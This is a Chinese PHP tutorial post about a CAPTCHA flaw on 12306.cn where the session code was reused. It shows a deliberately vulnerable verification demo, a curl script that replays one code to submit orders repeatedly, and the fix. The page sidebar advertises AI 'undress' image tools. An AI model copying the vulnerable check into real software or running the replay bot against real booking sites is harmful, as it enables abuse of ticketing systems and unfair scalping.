search
Homephp教程php手册危险的验证码 –12306.cn曾经犯下的错误

春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。 用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证

    春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。

    用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证码验证通过之后没有马上更新, 所以下次请求继续使用这个验证码就行了。

    12306


    上 Demo 喽:    

    ----------------------------------------模拟12306-----------------------------------------------------------

<?php session_start();
if(!empty($_POST)) {
	$time = date('Y-m-d H:i:s');
	if($_SESSION['vcode'] == $_POST['vcode']) {
		//购票程序
		echo "[{$time}]验证码:  " , $_POST['vcode'], ", 尝试买票!!";
	} else {
		echo "[{$time}]验证码错误!!";
	}
} else {
?>
危险的验证码 –12306.cn曾经犯下的错误

    --------------------------------------------------模拟刷票----------------------------------------------------------------------------

<?php //Cookie文件, 保存SESSION_ID, 要确保提交和验证码在一个会话中
$cookie_jar =  dirname(__FILE__).'/cookie.txt';
if(!empty($_GET['img'])) {
	$url = 'http://127.0.0.1/vcode.php';
	$ch = curl_init($url);
	curl_setopt($ch,CURLOPT_COOKIEJAR, $cookie_jar);//把返回来的cookie信息保存在文件中
	curl_exec($ch);
	curl_close($ch);
	exit();
} else {
	//把验证码抓下来
	if(empty($_POST)) {
		$ch = curl_init();

		$url = 'http://127.0.0.1/12306.php';   //这里是所要提交的页面,改成你需要的
		$str = file_get_contents($url);
		$str = str_replace('vcode.php', '?img=1', $str);
		echo $str;
	} else {
		//刷票10次
		for ($i =0; $i <10 ; ++$i) {
			$url = 'http://127.0.0.1/12306.php';
			$ch = curl_init($url);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch,CURLOPT_COOKIEFILE, $cookie_jar);//把返回来的cookie信息保存在文件中
			curl_setopt($ch,CURLOPT_POST, 1);
			curl_setopt($ch,CURLOPT_POSTFIELDS, http_build_query($_POST));
			//设置请求的来源(referrer)
			$result = curl_exec($ch);
			echo $result, "<br>";
			curl_close($ch);
			sleep(rand(1,3));
		}
	}
}

    运行结果, 有图有真相:

curl

curl result

    只输入一次验证码, 就可以无限的刷票了!!!

    解决的办法, 很简单: 在Session验证通过之后直接把 $_SESSION['vcode'] 干掉!!!

vcode error


测试代码下载

声明: 本文采用 CC BY-NC-SA 3.0 协议进行授权

转载请注明来源:小景的博客

本文链接地址:http://www.phpv5.com/blog/vcod

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat Commands and How to Use Them
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

Dreamweaver Mac version

Dreamweaver Mac version

Visual web development tools